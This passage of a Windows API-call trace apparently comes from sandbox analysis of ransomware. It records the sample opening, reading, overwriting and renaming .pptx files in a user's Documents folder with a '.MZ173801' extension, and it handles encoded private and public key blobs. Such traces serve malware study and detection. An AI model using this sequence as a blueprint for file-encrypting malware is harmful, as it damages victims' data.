ftCreationTime.dwLowDateTime=0x14f10a0, ftCreationTime.dwHighDateTime=0x1d5a870, ftLastAccessTime.dwLowDateTime=0x940234b0, ftLastAccessTime.dwHighDateTime=0x1d5d76c, ftLastWriteTime.dwLowDateTime=0x940234b0, ftLastWriteTime.dwHighDateTime=0x1d5d76c, nFileSizeHigh=0x0, nFileSizeLow=0xc635, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="2f1V.pptx", cAlternateFileName="2F1V~1.PPT")) returned 1 [0167.271] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.271] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f10a0, ftCreationTime.dwHighDateTime=0x1d5a870, ftLastAccessTime.dwLowDateTime=0x940234b0, ftLastAccessTime.dwHighDateTime=0x1d5d76c, ftLastWriteTime.dwLowDateTime=0x940234b0, ftLastWriteTime.dwHighDateTime=0x1d5d76c, nFileSizeHigh=0x0, nFileSizeLow=0xc635)) returned 1 [0167.271] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx")) returned 0x20 [0167.271] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx", dwFileAttributes=0x80) returned 1 [0167.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.274] GetCurrentThreadId () returned 0xab4 [0167.274] GetCurrentThreadId () returned 0xab4 [0167.274] GetCurrentThreadId () returned 0xab4 [0167.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.274] GetCurrentThreadId () returned 0xab4 [0167.275] GetCurrentThreadId () returned 0xab4 [0167.275] GetCurrentThreadId () returned 0xab4 [0167.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.275] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.275] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.275] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xc635 [0167.275] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.275] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xc635, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xc635, lpOverlapped=0x0) returned 1 [0167.276] CloseHandle (hObject=0x278) returned 1 [0167.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.278] WriteFile (in: hFile=0x278, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xc635, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19fa24*=0xc635, lpOverlapped=0x0) returned 1 [0167.280] CloseHandle (hObject=0x278) returned 1 [0167.283] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\2f1V.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\2f1v.pptx.mz173801")) returned 1 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.283] GetCurrentThreadId () returned 0xab4 [0167.284] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd829c0, ftCreationTime.dwHighDateTime=0x1d5c61e, ftLastAccessTime.dwLowDateTime=0xd7ebd2e0, ftLastAccessTime.dwHighDateTime=0x1d5d874, ftLastWriteTime.dwLowDateTime=0xd7ebd2e0, ftLastWriteTime.dwHighDateTime=0x1d5d874, nFileSizeHigh=0x0, nFileSizeLow=0xd3fb, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4fnqeRI1O.pptx", cAlternateFileName="4FNQER~1.PPT")) returned 1 [0167.284] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.284] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd829c0, ftCreationTime.dwHighDateTime=0x1d5c61e, ftLastAccessTime.dwLowDateTime=0xd7ebd2e0, ftLastAccessTime.dwHighDateTime=0x1d5d874, ftLastWriteTime.dwLowDateTime=0xd7ebd2e0, ftLastWriteTime.dwHighDateTime=0x1d5d874, nFileSizeHigh=0x0, nFileSizeLow=0xd3fb)) returned 1 [0167.284] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx")) returned 0x20 [0167.284] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx", dwFileAttributes=0x80) returned 1 [0167.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqD